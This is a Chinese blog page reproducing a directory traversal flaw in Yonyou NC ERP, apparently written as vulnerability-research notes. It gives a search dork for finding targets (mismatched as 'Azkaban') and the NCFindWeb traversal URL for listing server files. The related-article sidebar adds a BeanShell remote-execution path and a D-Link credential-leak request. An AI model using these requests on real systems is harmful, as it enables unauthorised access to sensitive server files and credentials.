用友NC目录遍历漏洞

最新推荐文章于 2024-05-19 17:37:52 发布
最新推荐文章于 2024-05-19 17:37:52 发布
阅读量2.6k 收藏
点赞数
分类专栏： 漏洞复现 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/DUANYU23/article/details/116143588
版权

用友NC目录遍历漏洞

0X001前言

0X002 漏洞影响

0X003 漏洞原理

0X004 漏洞复现

0X041 空间搜索寻找目标

搜索语法：title="Azkaban"

在这里插入图片描述

0X042 访问网页（目录遍历）

http://[ip]/NCFindWeb?service=IPreAlertConfigService&filename

在这里插入图片描述

0X043 访问页面源码

http://[ip]/NCFindWeb?service=IPreAlertConfigService&filename=[目录名]

在这里插入图片描述

0X005 POC

0X006 修复建议

韭菜小白菜
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
用友OA漏洞学习——NCFindWeb 目录遍历漏洞
记录并分享学习安全的知识点..
07-03 1388
用友ERP-NC 存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息。
SRC-用友 ERP-NC NCFindWeb 目录遍历漏洞
hackzkaq的博客
11-06 732
NCFindWeb?service=IPreAlertConfigService&filename=文件名。环境搭建、HTML，PHP，MySQL基础学习，信息收集，SQL注入,XSS，CSRF，暴力破解等等。用友ERP-NC 存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息。if判断返回的数据出现index.html文件名则代表存在漏洞，否则不存在。在url处拼接poc后可以看到该站点的目录和文件。这里使用的是pocsuite3的poc模板。只需要修改_verify()部分即可。
漏洞挖掘姿势之-用友NC目录遍历
最新发布
Grace_for_it的博客
05-19 263
渗透测试 漏洞验证 用友NC
目录遍历漏洞
good good study
05-12 5138
一. 漏洞概述 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量，从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时，便会将请求的这个文件的值(比如文件名称)传递到后台，后台再执行其对应的文件。 在这个过程中，如果后台没有对前端传进来的值进行严格的安全考虑，则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来，形成目录遍历漏洞。 那我们这里可能会有疑问，目录遍历和任意文件下载以及文件包含漏洞有身区别了，其实区别不
用友NCCloud2021.11 专项漏洞补丁列表
QB2767846279
11-16 1219
补丁名称 patch_2111多规则对账执行不含数量行不显示数量 ncc2111_供应商银行账户申请单银行账号字段可编辑性问题zip ia_2111_修改有来源借方单不更新计算线索zip 恢复列表默认显示100条 请测试新补丁 NCC2111销售订单修订允许编辑税率税码字段前端补丁 SCM_CREDIT_2111信用额度审批单后端设置默认时间业务日期当年最后一天 patch_信用价格单据批处理事件 结算和网上付款列表查询默认500条_人保金融服务有限公司_CMP_2111_费麟淋 自动带出表体的交易对象类型
用友NC NCCLOUD CNVD高危漏洞修复补丁
QB2767846279
11-13 4029
打补丁顺序 漏洞名称 问题描述 版本 1 NC&NCC 2020-09-10安全补丁合集 反序列化、远程命令执行等通用补丁方案 NC6X/NCC 2 NC6X安全补丁集 6X版本补丁集，解决一些通用漏洞 NC63/NC65 3 NCC1909,1903,2005安全必打补丁合集 NCC版本补丁集，解决一些通用漏洞 NCC1909/NCC1903/NCC2005 4 BSH远程代码执行漏洞 B
用友NC任意文件上传漏洞利用工具
04-14
用友NC任意文件上传漏洞利用工具，用友NC6.5的某个页面，存在任意文件上传漏洞。漏洞成因在于上传文件处未作类型限制，未经身份验证的攻击者可通过向目标系统发送特制数据包来利用此漏洞，成功利用此漏洞的远程攻击...
用友NC BeanShell远程代码执行
09-07
# 用友NC BeanShell远程代码执行 # CNVD-2021-30167 ## 漏洞描述 用友NC是一款企业级管理软件，在大中型企业广泛使用。实现建模、开发、继承、运行、管理一体化的IT解决方案信息化平台。用友 NC bsh.[servlet]...
用友NC65安装操作手册（自己编制）
10-13
《用友NC65安装操作手册》是一份详尽的指南，主要针对想要自我学习和测试用友NC65的新手顾问。这份手册涵盖了从安装数据库到配置数据源的整个流程，同时也适用于其他高版本的NCC产品。下面将详细阐述其中的关键步骤...
用友nc数据字典.xls
02-19
用友nc数据字典.xls
NC65安全漏洞补丁.rar
06-08
　通过UClient打开用友NC，UClient本质为UBroswer，一个专用的用友NC浏览器嵌入了JAVA运行环境，以解决NC 6系列之前的版本中applet在不同设备上的应用问题。经过文件目录查看分析得知用友UClient安装后，会在用户...
NC57安全补丁集合包
06-08
NC57安全补丁集合
用友NC 5.x 产品主要目录结构【备忘】
小李专栏
03-29 4383
用友NC 5.x 产品主要目录结构 Ø  ierp/bin: 与整个产品相关的配置文件都存放在该目录,如日志配置文件logger-confing.properties； Ø  modules: NC产品模块存放的目录，下面的所有模块在系统启动时得到加载； Ø  modules/: 某个模块的目录，模块名必须是小写的英文字母，在能表达意义的基础上尽量的短； Ø  modules/
用友NC目录遍历漏洞复现
The current road is different, love needs to distinguish between right and wrong
11-18 2325
简介： 用友ERP-NC 存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息。 漏洞复现： fofa直接搜索： app="用友-UFIDA-NC" 漏洞拼接目录: /NCFindWeb?service=IPreAlertConfigService&filename /NCFindWeb?service=IPreAlertConfigService&filename= 读取：filename=读取的文件名 ...
用友NC 漏洞汇总(转载)
xiaobai_20190815的博客
11-21 8894
用友NC 漏洞汇总
用友ERP-NC 目录遍历
08-20 261
子夏曰：“贤贤易色，事父母能竭其力，事君能致其身，与朋友交，言而有信，虽曰未学，吾必谓之学矣。”
用友OA漏洞复现手册
热门推荐
1stPeak's Blog
04-20 1万+
用友OA漏洞复现手册 前言：用友OA产品漏洞复现笔记，供自己使用，不定期更新
用友NC的一些漏洞复现
yzl_007的博客
12-15 1万+
用友NC的一些漏洞复现 一、BeanShell Test Servlet命令执行 漏洞介绍：用友NC是面向集团企业的管理软件，其在同类市场占有率中达到亚太第一。该漏洞是由于用友NC对外开放了BeanShell接口，攻击者可以在未授权的情况下直接访问该接口，并构造恶意数据执行任意代码并获取服务器权限。 影响范围：NC 6.5版本 复现过程: 访问对应网站后界面如下： 漏洞url就是：ip地址:端口/servlet/~ic/bsh.servlet.BshServlet 后续还可以写shell进去，但是这里不
2021年漏洞小结-手工自检篇
weixin_48421613的博客
12-28 1354
声明： 此文章仅作为上篇文章工具检测后，进行手工验证或手工检测，该文章仅供于学习参考或企业自检，请勿用于非法用途。​请阅读文末声明 D-Link-DIR路由器 账号密码信息泄露漏洞 poc: /getcfg.php SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a 页面原型： 漏洞检测： 输入任意密码，而后点击登陆按钮，同时进行数据包拦截，修改数据包内容如下图 用户名以及密码就出来了​ 脚本参考如下： import requests url=inpu
用友nc反序列化漏洞
12-21
用友NC反序列化漏洞是指用友NC软件存在的一种安全漏洞，攻击者可以利用该漏洞向受害者的系统中注入恶意代码，导致系统遭受攻击。该漏洞的成因主要是由于用友NC软件在反序列化过程中存在安全性缺陷，攻击者可以利用这一点来执行未经授权的代码。 攻击者通常会利用一些常见的反序列化漏洞利用技术，如反序列化注入、反序列化利用链等，来利用用友NC软件的漏洞进行攻击。通过构造恶意的序列化数据，攻击者可以在受害者系统中执行恶意代码，包括但不限于执行任意命令、获取系统权限、窃取敏感信息等行为。 为了防范用友NC反序列化漏洞的攻击，用户和系统管理员可以采取一些措施，如及时安装官方发布的安全补丁、加强系统安全配置、限制用户权限、使用安全的序列化与反序列化机制等。另外，对于已知的漏洞利用技术，用户还可以利用防火墙、入侵检测系统等安全设备进行监测和阻断。 总之，要防范用友NC反序列化漏洞的攻击，需要用户和系统管理员密切关注安全动态，及时采取必要的安全措施来保护系统和数据的安全。同时，用友NC软件的开发者也应及时修复这类漏洞，加强软件的安全性。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值